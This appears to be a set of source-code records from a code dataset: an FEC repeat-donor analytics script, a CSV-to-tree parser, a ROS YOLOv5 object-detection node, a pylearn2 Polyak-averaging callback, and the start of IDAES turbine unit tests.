https://classic.fec.gov/finance/disclosure/metadata/indiv_header_file.csv\n INDIV_Data_Headers = 'CMTE_ID,AMNDT_IND,RPT_TP,TRANSACTION_PGI,IMAGE_NUM,TRANSACTION_TP,ENTITY_TP,NAME,CITY,STATE,ZIP_CODE,EMPLOYER,OCCUPATION,TRANSACTION_DT,TRANSACTION_AMT,OTHER_ID,TRAN_ID,FILE_NUM,MEMO_CD,MEMO_TEXT,SUB_ID'.split(',')\n\n repeat_donor_latest_year, recipient_dict = find_repeat_donors(INDIV_Data_Headers)\n percentile = read_percentile()\n\n outputfile = 'output/repeat_donors.txt'\n with open(outputfile, 'w') as output:\n for target, value in recipient_dict.items():\n TransactionYear = target.split('_')[0]\n CmetId = target.split('_')[1]\n ZipCode = target.split('_')[2]\n contributions = []\n TotalAmount = 0\n for index, DonorId in enumerate(list(repeat_donor_latest_year.keys())):\n LatestYear = repeat_donor_latest_year[DonorId]\n if (LatestYear == TransactionYear) and (percentile is not None):\n TotalAmount += value[index]\n contributions.append(TotalAmount)\n nearest_rank_amt = calculate_running_percentile(contributions, percentile)\n result = '|'.join([CmetId, ZipCode, TransactionYear, str(nearest_rank_amt), str(TotalAmount), str(index+1)])\n output.write(result)\n output.write('\\n')\n\nif __name__ == '__main__':\n main()", "sub_path": "src/donation-analytics.py", "file_name": "donation-analytics.py", "file_ext": "py", "file_size_in_byte": 4761, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "re.compile", "line_number": 5, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 6, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 7, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 11, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 12, "usage_type": "call"}, {"api_name": "csv.reader", "line_number": 16, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.argpartition", "line_number": 83, "usage_type": "call"}]} +{"seq_id": "69191374", "text": "#! /usr/bin/python\n\nimport argparse\nimport csv\nfrom collections import defaultdict\n\ndef get_args():\n\n #create and argumentparser object('parser') that will hold all info to parse the cmd line\n parser = argparse.ArgumentParser(description = 'This script removes false frequency-code pairs from telemetry data')\n\n #positional arguments\n #number argument to input\n parser.add_argument('csv', help='csv input file')\n parser.add_argument('tree_file', help='input tree file')\n\n #parse the cmd line arguments\n return parser.parse_args()\n\ndef parse_csv():\n # names dictionary: key = frequency, value = list of real names\n names = defaultdict(dict)\n\n # opening and reading tags file\n with open(args.csv, 'r') as chars: \n #create a csv reader object\n reader = csv.reader(chars, delimiter=',')\n\n #skip the header line\n header = next(reader)\n\n # read in file line by line\n for line in reader:\n\n #skip blank lines\n if not line:\n continue\n \n else:\n # need to ask if key exists already\n if line[0] in names:\n # same as appending to a regular list\n names[line[0]].append(line[1])\n else:\n names[line[0]] = []\n names[line[0]].append(line[1])\n\n #check our work\n for name,value in names.items():\n print(name, value)\n \n return names\n\ndef parse_tree(names_dict):\n\n i=1\n # open, read, and parse the telemetry data file\n with open(args.tree_file, 'r') as tree:\n for line in tree:\n\n #skip the header, could make the value an optional input\n if '#NEXUS' in line:\n print(line, end=' ')\n continue\n elif 'Begin' in line:\n print(line, end=' ')\n continue\n elif 'Translate' in line:\n print(line, end=' ')\n continue\n else:\n for value,name in names_dict.items():\n if str(name) in line:\n print(name+',')\n else:\n continue\n\n\ndef main():\n names_dict = parse_csv()\n parse_tree(names_dict)\n\n#get the arguments before calling main\nargs = get_args()\n\n#execute the program by calling main. __ __allow you to call these functions in other scripts and not just through this one\nif __name__ == '__main__':\n main() \n\n\n", "sub_path": "LTPs132/csv-to-matrix.py", "file_name": "csv-to-matrix.py", "file_ext": "py", "file_size_in_byte": 2539, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 10, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 22, "usage_type": "call"}, {"api_name": "csv.reader", "line_number": 27, "usage_type": "call"}]} +{"seq_id": "362209741", "text": "#! /home/jyp/.miniconda3/envs/yolo/bin/python\n\nimport argparse\nimport time\nfrom pathlib import Path\nimport rospy\nimport std_msgs.msg\nfrom rospkg import RosPack\nfrom std_msgs.msg import UInt8\nfrom sensor_msgs.msg import Image\nfrom geometry_msgs.msg import Polygon, Point32\nfrom yolov5.msg import BoundingBox, BoundingBoxes\nfrom cv_bridge import CvBridge, CvBridgeError\nfrom skimage.transform import resize\n\nimport cv2\nimport torch\nimport torch.backends.cudnn as cudnn\nfrom numpy import random\nimport numpy as np\nfrom models.experimental import attempt_load\nfrom utils.datasets import LoadStreams, LoadImages\nfrom utils.general import check_img_size, check_requirements, check_imshow, non_max_suppression, apply_classifier, \\\n scale_coords, xyxy2xywh, strip_optimizer, set_logging, increment_path\nfrom utils.plots import plot_one_box\nfrom utils.torch_utils import select_device, load_classifier, time_synchronized\nfrom utils.datasets import letterbox\n\n# Deep learning imports\nimport torch\nfrom torch.utils.data import DataLoader\nfrom torchvision import datasets\nfrom torch.autograd import Variable\n\nimport os\npackage = RosPack()\npackage_path = package.get_path('yolov5')\n\nclass detectManager:\n def __init__(self):\n # print(\"\\ndetect init\\n\")\n self.weights = rospy.get_param('~weights')\n self.source = rospy.get_param('~source')\n self.view_img = rospy.get_param('~view_img')\n self.save_txt = rospy.get_param('~save_txt')\n self.img_size = rospy.get_param('~img_size')\n self.name = rospy.get_param('~name')\n self.exist_ok = rospy.get_param('~exist_ok')\n self.project = rospy.get_param('~project')\n self.device = str(rospy.get_param('~device'))\n\n self.augment = rospy.get_param('~augment')\n self.iou_thres = rospy.get_param('~iou_thres')\n if(rospy.get_param('~classes') == 'None'):\n self.classes = None\n else:\n self.classes = rospy.get_param('~classes')\n self.agnostic_nms = rospy.get_param('~agnostic_nms')\n self.conf_thres = rospy.get_param('~conf_thres')\n self.save_conf = rospy.get_param('~save_conf')\n\n # Initialize width and height\n self.h = 0\n self.w = 0\n\n # Load other parameters\n self.gpu_id = rospy.get_param('~gpu_id', 0)\n self.network_img_size = rospy.get_param('~img_size', 416)\n self.publish_image = rospy.get_param('~publish_image')\n\n self.image_topic = rospy.get_param('~image_topic')\n\n # Load CvBridge\n self.bridge = CvBridge()\n # Load publisher topics\n self.detected_objects_topic = rospy.get_param('~detected_objects_topic')\n self.published_image_topic = rospy.get_param('~detections_image_topic')\n\n # Define subscribers\n self.image_sub = rospy.Subscriber(\n self.image_topic, Image, self.image_callback, queue_size=1, buff_size=2**24)\n\n # Define publishers\n self.pub_ = rospy.Publisher(\n self.detected_objects_topic, BoundingBoxes, queue_size=10)\n self.pub_viz_ = rospy.Publisher(\n self.published_image_topic, Image, queue_size=10)\n rospy.loginfo(\"Launched node for object detection\")\n self.path = package_path\n # print(\"\\nbehind spin\\n\")\n # Spin\n rospy.spin()\n\n def image_callback(self, data):\n # Convert the image to OpenCV\n try:\n self.cv_image = self.bridge.imgmsg_to_cv2(data, \"rgb8\")\n except CvBridgeError as e:\n print(e) \n \n #a = input()\n # Initialize detection results\n detection_results = BoundingBoxes()\n detection_results.header = data.header\n detection_results.image_header = data.header\n\n # Configure input\n input_img = self.imagePreProcessing(self.cv_image)\n input_img = Variable(input_img.type(torch.FloatTensor))\n\n # Get detections from network\n with torch.no_grad():\n detections = self.detect(self.cv_image, data)\n # detections = non_max_suppression(\n # detections, 80, self.confidence_th, self.nms_th)\n return 0\n\n\n def imagePreProcessing(self, img):\n # Extract image and shape\n img = np.copy(img)\n img = img.astype(float)\n height, width, channels = img.shape\n\n if (height != self.h) or (width != self.w):\n self.h = height\n self.w = width\n\n # Determine image to be used\n self.padded_image = np.zeros(\n (max(self.h, self.w), max(self.h, self.w), channels)).astype(float)\n\n # Add padding\n if (self.w > self.h):\n self.padded_image[(self.w-self.h)//2: self.h +\n (self.w-self.h)//2, :, :] = img\n else:\n self.padded_image[:, (self.h-self.w) //\n 2: self.w + (self.h-self.w)//2, :] = img\n\n # Resize and normalize\n input_img = resize(\n self.padded_image, (self.network_img_size, self.network_img_size, 3))/255.\n\n # Channels-first\n input_img = np.transpose(input_img, (2, 0, 1))\n\n # As pytorch tensor\n input_img = torch.from_numpy(input_img).float()\n input_img = input_img[None]\n\n return input_img\n\n def visualizeAndPublish(self, output, imgIn):\n # Copy image and visualize\n imgOut = imgIn.copy()\n font = cv2.FONT_HERSHEY_SIMPLEX\n fontScale = 0.8\n thickness = 2\n for index in range(len(output.bounding_boxes)):\n label = output.bounding_boxes[index].Class\n x_p1 = output.bounding_boxes[index].xmin\n y_p1 = output.bounding_boxes[index].ymin\n x_p3 = output.bounding_boxes[index].xmax\n y_p3 = output.bounding_boxes[index].ymax\n confidence = output.bounding_boxes[index].probability\n\n # Find class color\n if label in self.classes_colors.keys():\n color = self.classes_colors[label]\n else:\n # Generate a new color if first time seen this label\n color = np.random.randint(0, 255, 3)\n self.classes_colors[label] = color\n\n imgOut = np.array(imgOut)\n # cv2.rectangle(imgOut, (int(x_p1), int(y_p1)), (int(x_p3), int(y_p3)), (color[0],color[1],color[2]),thickness)\n cv2.rectangle(imgOut, (int(x_p1), int(y_p1)), (int(x_p3), int(\n y_p3)), (int(color[0]), int(color[1]), int(color[2])), thickness)\n text = ('{:s}: {:.3f}').format(label, confidence)\n cv2.putText(imgOut, text, (int(x_p1), int(y_p1+20)), font,\n fontScale, (255, 255, 255), thickness, cv2.LINE_AA)\n\n # Publish visualization image\n image_msg = self.bridge.cv2_to_imgmsg(imgOut, \"rgb8\")\n self.pub_viz_.publish(image_msg)\n\n\n def detect(self, opencv_img, data, save_img=False):\n self.weights = os.path.join(package_path, 'yolov5/weights', self.weights)\n self.source = os.path.join(package_path,'yolov5', self.source)\n # print(self.weights)\n source, weights, view_img, save_txt, imgsz = self.source, self.weights, self.view_img, self.save_txt, self.img_size\n webcam = source.isnumeric() or source.endswith('.txt') or source.lower().startswith(\n ('rtsp://', 'rtmp://', 'http://'))\n self.project = os.path.join(package_path,'yolov5', self.project)\n # Directories\n save_dir = Path(increment_path(Path(self.project) / self.name,\n exist_ok=self.exist_ok)) # increment run\n \n (save_dir / 'labels' if save_txt else save_dir).mkdir(parents=True,\n exist_ok=True) # make dir\n\n # Initialize\n set_logging()\n device = select_device(self.device)\n half = device.type != 'cpu' # half precision only supported on CUDA\n\n # print(os.getcwd())\n # Load model\n model = attempt_load(weights, map_location=device) # load FP32 model\n stride = int(model.stride.max()) # model stride\n imgsz = check_img_size(imgsz, s=stride) # check img_size\n if half:\n model.half() # to FP16\n\n # Second-stage classifier\n classify = False\n if classify:\n modelc = load_classifier(name='resnet101', n=2) # initialize\n modelc.load_state_dict(torch.load(\n 'weights/resnet101.pt', map_location=device)['model']).to(device).eval()\n\n # Set Dataloader\n vid_path, vid_writer = None, None\n if webcam:\n view_img = check_imshow()\n cudnn.benchmark = True # set True to speed up constant image size inference\n dataset = LoadStreams(source, img_size=imgsz, stride=stride)\n else:\n #save_img = True\n save_img = False\n dataset = LoadImages(source, img_size=imgsz, stride=stride)\n\n # Get names and colors\n names = model.module.names if hasattr(model, 'module') else model.names\n colors = [[random.randint(0, 255) for _ in range(3)] for _ in names]\n\n # Run inference\n if device.type != 'cpu':\n model(torch.zeros(1, 3, imgsz, imgsz).to(device).type_as(\n next(model.parameters()))) # run once\n t0 = time.time()\n\n # path = r\"/workspace/yolov5/data/images/bus.jpg\"\n vid_cap = None\n #im0s = cv2.imread(path)\n im0s = opencv_img\n img = letterbox(im0s, 640, stride=stride)[0]\n # Convert\n img = img[:, :, ::-1].transpose(2, 0, 1) # BGR to RGB, to 3x416x416\n img = np.ascontiguousarray(img)\n # img = cv2.imread(\"\")\n\n img = torch.from_numpy(img).to(device)\n img = img.half() if half else img.float() # uint8 to fp16/32\n img /= 255.0 # 0 - 255 to 0.0 - 1.0\n if img.ndimension() == 3:\n img = img.unsqueeze(0)\n # Inference\n t1 = time_synchronized()\n # print(img.shape)\n # print(img)\n # print(self.conf_thres)\n # print(self.iou_thres)\n # print(self.classes)\n # print(self.agnostic_nms)\n # print(\"\\nhaha: 02394857\\n\")\n\n pred = model(img, augment=False)[0]\n # Apply NMS\n pred = non_max_suppression(\n pred, self.conf_thres, self.iou_thres, classes=self.classes, agnostic=self.agnostic_nms)\n t2 = time_synchronized()\n # Apply Classifier\n if classify:\n pred = apply_classifier(pred, modelc, img, im0s)\n # Process detections\n detection_results = BoundingBoxes()\n detection_results.header = data.header\n detection_results.image_header = data.header\n\n for i, det in enumerate(pred): # detections per image\n\n im0 = im0s\n p = self.path\n # if webcam: # batch_size >= 1\n # p, s, im0, frame = path[i], '%g: ' % i, im0s[i].copy(), dataset.count\n # else:\n # p, s, im0, frame = path, '', im0s, getattr(dataset, 'frame', 0)\n # p = Path(p) # to Path\n #save_path = str(self.save_dir + \"/img.jpg\") # img.jpg\n #txt_path = str(self.save_dir + \"/labels/label\")\n s = ''\n s += '%gx%g ' % img.shape[2:] # print string\n gn = torch.tensor(im0.shape)[[1, 0, 1, 0]] # normalization gain whwh\n if len(det):\n # Rescale boxes from img_size to im0 size\n det[:, :4] = scale_coords(\n img.shape[2:], det[:, :4], im0.shape).round()\n # Print results\n for c in det[:, -1].unique():\n n = (det[:, -1] == c).sum() # detections per class\n s += f\"{n} {names[int(c)]}{'s' * (n > 1)}, \" # add to string\n \n xmin, ymin, xmax, ymax, conf, det_class = det[0]\n detection_msg = BoundingBox()\n detection_msg.xmin = int(xmin.item())\n detection_msg.xmax = int(xmax.item())\n detection_msg.ymin = int(ymin.item())\n detection_msg.ymax = int(ymax.item())\n detection_msg.probability = conf.item()\n detection_msg.Class = names[int(det_class.item())]\n detection_results.bounding_boxes.append(detection_msg)\n\n # Write results\n for *xyxy, conf, cls in reversed(det):\n if save_txt: # Write to file\n xywh = (xyxy2xywh(torch.tensor(xyxy).view(1, 4)) /\n gn).view(-1).tolist() # normalized xywh\n # label format\n line = (cls, *xywh, conf) if self.save_conf else (cls, *xywh)\n with open(txt_path + '.txt', 'a') as f:\n f.write(('%g ' * len(line)).rstrip() % line + '\\n')\n if save_img or view_img: # Add bbox to image\n label = f'{names[int(cls)]} {conf:.2f}'\n plot_one_box(xyxy, im0, label=label,\n color=colors[int(cls)], line_thickness=3)\n # Print time (inference + NMS)\n print(f'{s}Done. ({t2 - t1:.3f}s)')\n # Stream results\n if view_img:\n cv2.imshow(str(p), im0)\n cv2.waitKey(1) # 1 millisecond\n # Save results (image with detections)\n if save_img:\n if dataset.mode == 'image':\n cv2.imwrite(save_path, im0)\n else: # 'video'\n if vid_path != save_path: # new video\n vid_path = save_path\n if isinstance(vid_writer, cv2.VideoWriter):\n vid_writer.release() # release previous video writer\n fourcc = 'mp4v' # output video codec\n fps = vid_cap.get(cv2.CAP_PROP_FPS)\n w = int(vid_cap.get(cv2.CAP_PROP_FRAME_WIDTH))\n h = int(vid_cap.get(cv2.CAP_PROP_FRAME_HEIGHT))\n vid_writer = cv2.VideoWriter(\n save_path, cv2.VideoWriter_fourcc(*fourcc), fps, (w, h))\n vid_writer.write(im0)\n self.pub_.publish(detection_results)\n #if save_txt or save_img:\n # s = f\"\\n{len(list(save_dir.glob('labels/*.txt')))} labels saved to {save_dir / 'labels'}\" if save_txt else ''\n #print(f\"Results saved to {save_dir}{s}\")\n\n print(f'Done. ({time.time() - t0:.3f}s)')\n\n\nif __name__ == '__main__':\n rospy.init_node(\"detector_manager_node\")\n rospy.loginfo(\"start detect node\")\n dm = detectManager()\n", "sub_path": "src/yolov5/yolov5/detect.py", "file_name": "detect.py", "file_ext": "py", "file_size_in_byte": 14788, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "rospkg.RosPack", "line_number": 36, "usage_type": "call"}, {"api_name": "rospy.get_param", "line_number": 42, "usage_type": "call"}, {"api_name": "rospy.get_param", "line_number": 43, "usage_type": "call"}, {"api_name": "rospy.get_param", "line_number": 44, "usage_type": "call"}, {"api_name": "rospy.get_param", "line_number": 45, "usage_type": "call"}, {"api_name": "rospy.get_param", "line_number": 46, "usage_type": "call"}, {"api_name": "rospy.get_param", "line_number": 47, "usage_type": "call"}, {"api_name": "rospy.get_param", "line_number": 48, "usage_type": "call"}, {"api_name": "rospy.get_param", "line_number": 49, "usage_type": "call"}, {"api_name": "rospy.get_param", "line_number": 50, "usage_type": "call"}, {"api_name": "rospy.get_param", "line_number": 52, "usage_type": "call"}, {"api_name": "rospy.get_param", "line_number": 53, "usage_type": "call"}, {"api_name": "rospy.get_param", "line_number": 54, "usage_type": "call"}, {"api_name": "rospy.get_param", "line_number": 57, "usage_type": "call"}, {"api_name": "rospy.get_param", "line_number": 58, "usage_type": "call"}, {"api_name": "rospy.get_param", "line_number": 59, "usage_type": "call"}, {"api_name": "rospy.get_param", "line_number": 60, "usage_type": "call"}, {"api_name": "rospy.get_param", "line_number": 67, "usage_type": "call"}, {"api_name": "rospy.get_param", "line_number": 68, "usage_type": "call"}, {"api_name": "rospy.get_param", "line_number": 69, "usage_type": "call"}, {"api_name": "rospy.get_param", "line_number": 71, "usage_type": "call"}, {"api_name": "cv_bridge.CvBridge", "line_number": 74, "usage_type": "call"}, {"api_name": "rospy.get_param", "line_number": 76, "usage_type": "call"}, {"api_name": "rospy.get_param", "line_number": 77, "usage_type": "call"}, {"api_name": "rospy.Subscriber", "line_number": 80, "usage_type": "call"}, {"api_name": "sensor_msgs.msg.Image", "line_number": 81, "usage_type": "argument"}, {"api_name": "rospy.Publisher", "line_number": 84, "usage_type": "call"}, {"api_name": "yolov5.msg.BoundingBoxes", "line_number": 85, "usage_type": "argument"}, {"api_name": "rospy.Publisher", "line_number": 86, "usage_type": "call"}, {"api_name": "sensor_msgs.msg.Image", "line_number": 87, "usage_type": "argument"}, {"api_name": "rospy.loginfo", "line_number": 88, "usage_type": "call"}, {"api_name": "rospy.spin", "line_number": 92, "usage_type": "call"}, {"api_name": "cv_bridge.CvBridgeError", "line_number": 98, "usage_type": "name"}, {"api_name": "yolov5.msg.BoundingBoxes", "line_number": 103, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 109, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 109, "usage_type": "attribute"}, {"api_name": "torch.no_grad", "line_number": 112, "usage_type": "call"}, {"api_name": "numpy.copy", "line_number": 121, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 130, "usage_type": "call"}, {"api_name": "skimage.transform.resize", "line_number": 142, "usage_type": "call"}, {"api_name": "numpy.transpose", "line_number": 146, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 149, "usage_type": "call"}, {"api_name": "cv2.FONT_HERSHEY_SIMPLEX", "line_number": 157, "usage_type": "attribute"}, {"api_name": "numpy.random.randint", "line_number": 173, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 173, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 176, "usage_type": "call"}, {"api_name": "cv2.rectangle", "line_number": 178, "usage_type": "call"}, {"api_name": "cv2.putText", "line_number": 181, "usage_type": "call"}, {"api_name": "cv2.LINE_AA", "line_number": 182, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 190, "usage_type": "call"}, {"api_name": "os.path", "line_number": 190, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 191, "usage_type": "call"}, {"api_name": "os.path", "line_number": 191, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 196, "usage_type": "call"}, {"api_name": "os.path", "line_number": 196, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 198, "usage_type": "call"}, {"api_name": "utils.general.increment_path", "line_number": 198, "usage_type": "call"}, {"api_name": "utils.general.set_logging", "line_number": 205, "usage_type": "call"}, {"api_name": "utils.torch_utils.select_device", "line_number": 206, "usage_type": "call"}, {"api_name": "models.experimental.attempt_load", "line_number": 211, "usage_type": "call"}, {"api_name": "utils.general.check_img_size", "line_number": 213, "usage_type": "call"}, {"api_name": "utils.torch_utils.load_classifier", "line_number": 220, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 221, "usage_type": "call"}, {"api_name": "utils.general.check_imshow", "line_number": 227, "usage_type": "call"}, {"api_name": "torch.backends.cudnn.benchmark", "line_number": 228, "usage_type": "attribute"}, {"api_name": "torch.backends.cudnn", "line_number": 228, "usage_type": "name"}, {"api_name": "utils.datasets.LoadStreams", "line_number": 229, "usage_type": "call"}, {"api_name": "utils.datasets.LoadImages", "line_number": 233, "usage_type": "call"}, {"api_name": "numpy.random.randint", "line_number": 237, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 237, "usage_type": "name"}, {"api_name": "torch.zeros", "line_number": 241, "usage_type": "call"}, {"api_name": "time.time", "line_number": 243, "usage_type": "call"}, {"api_name": "utils.datasets.letterbox", "line_number": 249, "usage_type": "call"}, {"api_name": "numpy.ascontiguousarray", "line_number": 252, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 255, "usage_type": "call"}, {"api_name": "utils.torch_utils.time_synchronized", "line_number": 261, "usage_type": "call"}, {"api_name": "utils.general.non_max_suppression", "line_number": 272, "usage_type": "call"}, {"api_name": "utils.torch_utils.time_synchronized", "line_number": 274, "usage_type": "call"}, {"api_name": "utils.general.apply_classifier", "line_number": 277, "usage_type": "call"}, {"api_name": "yolov5.msg.BoundingBoxes", "line_number": 279, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 296, "usage_type": "call"}, {"api_name": "utils.general.scale_coords", "line_number": 299, "usage_type": "call"}, {"api_name": "yolov5.msg.BoundingBox", "line_number": 307, "usage_type": "call"}, {"api_name": "utils.general.xyxy2xywh", "line_number": 319, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 319, "usage_type": "call"}, {"api_name": "utils.plots.plot_one_box", "line_number": 327, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 333, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 334, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 338, "usage_type": "call"}, {"api_name": "cv2.VideoWriter", "line_number": 342, "usage_type": "attribute"}, {"api_name": "cv2.CAP_PROP_FPS", "line_number": 345, "usage_type": "attribute"}, {"api_name": "cv2.CAP_PROP_FRAME_WIDTH", "line_number": 346, "usage_type": "attribute"}, {"api_name": "cv2.CAP_PROP_FRAME_HEIGHT", "line_number": 347, "usage_type": "attribute"}, {"api_name": "cv2.VideoWriter", "line_number": 348, "usage_type": "call"}, {"api_name": "cv2.VideoWriter_fourcc", "line_number": 349, "usage_type": "call"}, {"api_name": "time.time", "line_number": 356, "usage_type": "call"}, {"api_name": "rospy.init_node", "line_number": 360, "usage_type": "call"}, {"api_name": "rospy.loginfo", "line_number": 361, "usage_type": "call"}]} +{"seq_id": "428430117", "text": "from __future__ import division\n\"\"\"\nStochastic Gradient Descent and related functionality such as\nlearning rate adaptation, momentum, and Polyak averaging.\n\nModified from pylearn2.training_algorithms.sgd by Guillaume Desjardins,\nto match:\n\n\"Learning Feature Hierarchies with Centered Deep Boltzmann Machines\",\nGregoire Montavon, Klaus-Robert Muller.\n\"\"\"\n__authors__ = \"Ian Goodfellow\"\n__copyright__ = \"Copyright 2010-2012, Universite de Montreal\"\n__credits__ = [\"Ian Goodfellow, David Warde-Farley\"]\n__license__ = \"3-clause BSD\"\n__maintainer__ = \"Ian Goodfellow, David Warde-Farley\"\n__email__ = \"goodfeli@iro\"\nfrom theano import function\nfrom pylearn2.utils import sharedX\nfrom pylearn2.training_callbacks.training_callback import TrainingCallback\nfrom pylearn2.utils import serial\n\nclass PolyakAveraging(TrainingCallback):\n \"\"\"\n See \"A Tutorial on Stochastic Approximation Algorithms\n for Training Restricted Boltzmann Machines and\n Deep Belief Nets\" by Kevin Swersky et al\n\n Notes: this is usually used with a fixed, rather than\n annealed learning rate.\n It may be used in conjunction with momentum.\n\n This functionality is still a work in progress. Currently,\n your model needs to implement \"add_polyak_channels\" to\n use it.\n\n The problem is that Polyak averaging shouldn't modify\n the model parameters. It should keep a second copy\n that it averages in the background. This second copy\n doesn't get to come back in and affect the learning process\n though.\n\n (IG tried having the second copy get pushed back into\n the model once per epoch, but this turned out to be\n harmful, at least in limited tests)\n\n So we need a cleaner interface for monitoring the\n averaged copy of the parameters, and we need to make\n sure the saved model at the end uses the averaged\n parameters, not the parameters used for computing\n the gradients during training.\n \"\"\"\n\n def __init__(self, model, save_path = None, kc=10, save_freq = 1):\n self.__dict__.update(locals())\n\n updates = {}\n k = sharedX(0.)\n self.param_to_mean = {}\n for param in model.get_params():\n mean = sharedX(param.get_value())\n assert type(mean) == type(param)\n self.param_to_mean[param] = mean\n updates[mean] = k / (k + kc) * mean + kc / (k + kc) * param\n updates[k] = k + 1.\n self.avg = function([], updates = updates)\n self._count = 0\n self.kc = kc\n self.k = k\n\n def __call__(self, model, dataset, algorithm):\n if self._count > 0 and self._count % self.save_freq == 0:\n self.avg()\n saved_params = {}\n for param in model.get_params():\n saved_params[param] = param.get_value()\n param.set_value(self.param_to_mean[param].get_value())\n serial.save(self.save_path, model)\n for param in model.get_params():\n param.set_value(saved_params[param])\n self._count += 1\n\n", "sub_path": "polyak.py", "file_name": "polyak.py", "file_ext": "py", "file_size_in_byte": 3034, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "pylearn2.training_callbacks.training_callback.TrainingCallback", "line_number": 23, "usage_type": "name"}, {"api_name": "pylearn2.utils.sharedX", "line_number": 58, "usage_type": "call"}, {"api_name": "pylearn2.utils.sharedX", "line_number": 61, "usage_type": "call"}, {"api_name": "theano.function", "line_number": 66, "usage_type": "call"}, {"api_name": "pylearn2.utils.serial.save", "line_number": 78, "usage_type": "call"}, {"api_name": "pylearn2.utils.serial", "line_number": 78, "usage_type": "name"}]} +{"seq_id": "338040453", "text": "#################################################################################\n# The Institute for the Design of Advanced Energy Systems Integrated Platform\n# Framework (IDAES IP) was produced under the DOE Institute for the\n# Design of Advanced Energy Systems (IDAES).\n#\n# Copyright (c) 2018-2023 by the software owners: The Regents of the\n# University of California, through Lawrence Berkeley National Laboratory,\n# National Technology & Engineering Solutions of Sandia, LLC, Carnegie Mellon\n# University, West Virginia University Research Corporation, et al.\n# All rights reserved. Please see the files COPYRIGHT.md and LICENSE.md\n# for full copyright and license information.\n#################################################################################\n\"\"\"\nTests for turbine outlet model.\n\nAuthor: John Eslick\n\"\"\"\nimport pytest\n\nfrom pyomo.environ import ConcreteModel, TransformationFactory, units as pyunits\n\nfrom idaes.core import FlowsheetBlock\nfrom idaes.models_extra.power_generation.unit_models.helm import HelmTurbineOutletStage\nfrom idaes.models.properties import iapws95\nfrom idaes.core.util.model_statistics import (\n degrees_of_freedom,\n activated_equalities_generator,\n)\nfrom idaes.core.solvers import get_solver\nfrom idaes.models.properties.general_helmholtz import helmholtz_available\n\n# Set up solver\nsolver = get_solver()\n\n\n@pytest.fixture()\ndef build_turbine():\n m = ConcreteModel()\n m.fs = FlowsheetBlock(dynamic=False)\n m.fs.properties = iapws95.Iapws95ParameterBlock()\n m.fs.turb = HelmTurbineOutletStage(property_package=m.fs.properties)\n return m\n\n\n@pytest.mark.skipif(not helmholtz_available(), reason=\"General Helmholtz not available\")\n@pytest.fixture()\ndef build_turbine_dyn():\n m = ConcreteModel()\n m.fs = FlowsheetBlock(dynamic=True, time_units=pyunits.s)\n m.fs.properties = iapws95.Iapws95ParameterBlock()\n m.fs.turb = HelmTurbineOutletStage(dynamic=False, property_package=m.fs.properties)\n return m\n\n\n@pytest.mark.skipif(not helmholtz_available(), reason=\"General Helmholtz not available\")\n@pytest.mark.unit\ndef test_basic_build(build_turbine):\n \"\"\"Make a turbine model and make sure it doesn't throw exception\"\"\"\n m = build_turbine\n\n\n@pytest.mark.skipif(not helmholtz_available(), reason=\"General Helmholtz not available\")\n@pytest.mark.component\ndef test_initialize(build_turbine):\n \"\"\"Initialize a turbine model\"\"\"\n m = build_turbine\n # set inlet\n m.fs.turb.inlet.enth_mol[0].value = 47115\n m.fs.turb.inlet.flow_mol[0].value = 15000\n m.fs.turb.inlet.pressure[0].value = 8e4\n m.fs.turb.outlet.pressure[0].fix(4e4)\n\n m.fs.turb.initialize(outlvl=1)\n\n eq_cons = activated_equalities_generator(m)\n for c in eq_cons:\n assert abs(c.body() - c.lower) < 1e-4\n assert degrees_of_freedom(m) == 2 # inlet was't fixed and still shouldn't be\n\n\n@pytest.mark.skipif(not helmholtz_available(), reason=\"General Helmholtz not available\")\n@pytest.mark.component\ndef test_initialize_calc_cf(build_turbine):\n \"\"\"Initialize a turbine model\"\"\"\n m = build_turbine\n # set inlet\n m.fs.turb.inlet.enth_mol[0].value = 47115\n m.fs.turb.inlet.flow_mol[0].value = 15000\n m.fs.turb.inlet.pressure[0].value = 8e4\n m.fs.turb.outlet.pressure[0].fix(4e4)\n\n m.fs.turb.initialize(calculate_cf=True)\n\n eq_cons = activated_equalities_generator(m)\n for c in eq_cons:\n assert abs(c.body() - c.lower) < 1e-4\n\n m.fs.turb.inlet.enth_mol[0].fix()\n m.fs.turb.inlet.pressure[0].fix()\n\n solver.solve(m)\n assert m.fs.turb.inlet.flow_mol[0].value == pytest.approx(15000)\n assert degrees_of_freedom(m) == 0\n\n\n@pytest.mark.skipif(not helmholtz_available(), reason=\"General Helmholtz not available\")\n@pytest.mark.component\ndef test_initialize_calc_cf_dyn(build_turbine_dyn):\n \"\"\"Initialize a turbine model\"\"\"\n m = build_turbine_dyn\n discretizer = TransformationFactory(\"dae.finite_difference\")\n discretizer.apply_to(m, nfe=4, 